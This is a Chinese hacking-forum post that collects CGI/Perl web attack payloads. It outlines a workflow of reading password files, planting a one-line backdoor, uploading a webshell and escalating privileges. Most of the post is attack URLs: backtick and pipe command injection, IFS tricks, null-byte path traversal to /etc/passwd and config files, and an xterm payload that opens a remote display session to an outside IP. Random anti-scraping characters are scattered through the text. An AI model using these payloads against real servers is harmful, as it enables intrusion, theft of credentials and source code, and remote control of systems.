找回密码
 立即注册
查看: 3572|回复: 0
打印 上一主题 下一主题

CGI资料整理

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:56:16 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着  ; S9 g9 e; E0 M% l0 h1 |
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权  
4 I" z4 B$ d% {7 |( T感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们  ' \1 R) B, L$ a" C3 r# r* ~# V
注“  4 D6 u5 i2 o5 |, I( U
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。  
7 v- T7 {6 X- {) _3 w8 S以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET  2 U: z6 O; T( a8 h/ A8 G" y
& X; u2 b$ H3 A5 j* T" J
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造    a  v" p; y" j+ T  R  s* l
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢  5 E- M( w# j3 l  Q! }  L/ S' V
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号  . c+ J) t+ B3 w* m
http://target.com/cgi-bin/home/news/sub.pl?`id`  
3 O1 Q. y% M1 k% y, f# O# `http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`  5 m0 `* {. L0 Y
http://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示  9 ^5 r: d8 o9 G6 n, l

, l, @; C6 ~3 j. ?4 N5 z1 p+ `$ Chttp://target.com/test.pl;ls|  ! c- f0 \; C  ^
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm|  * u9 x+ Q( p" `/ E7 f# j7 Z, L
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26|  
' w9 R" t6 X( ~, Bhttp://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造  0 x1 c3 ]) H# b, }9 ^6 l4 z/ c
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。  * ?5 c- j# Z4 r" J+ \  i
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection    ]# V1 h6 ~4 O
# y2 Q( y7 e- A' d' F, \; W2 v3 `. W
http://target.com/test.pl?&........ /../../etc/passwd  
7 X$ X) y. h7 N  V/ k% N0 w
, J8 @- T9 ]- `http://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./  5 a# G6 U8 S, y, z& S
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了  ! R4 G5 R+ d! {# O' T' [
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00  9 ^6 ]% R! g2 l) A0 h  {; {

& T% J3 {! j7 u9 V: \  u3 k  M2 dhttp://www.target.org/show.php?f ... /include/config.php 查看php代码  
( C- }/ F- R3 a0 D7 s2 Ghttp://www.target.org/show.php?f ... ng/admin/global.php  
6 Y5 _0 \1 o7 K* J6 U
% j2 H8 \# C0 G) c$ F; ~  Femm和ps的一句话
) j, w0 z, S3 z  r$ g! Y8 R9 h1 Q! H- N% k/ Z
http://www.target.org/cgi-bin/cl ... /../../../bin/ls%20  
' ^! r' F3 [" o$ k2 S: f0 k5 W! v* m
6 a; x8 ]4 g( U3 n>bbb%20|  
  j3 _* Y9 Y/ q; [2 X- B8 ?) c, a9 B8 h4 v# u
http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串  - O9 `& M. W. x
" X  f( g% F1 n
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征  6 y) Q+ D1 r2 o! t7 C- R  E4 O. C
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin  ' B: \' ^/ u2 m8 T/ P; \) N

8 b9 @# }- v5 s$ I' m6 |( D相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法  
" {( `* j" e  ^- r/ fhttp://target.com/index.html#cmd.exe  + I& Y4 A. t3 l3 V
http://target.com/index.html?dummyparam=xp_cmdshell  
0 G' k$ Q4 F% ?1 g1 h) y) ilynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd  ) M- F" p2 Z% B3 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表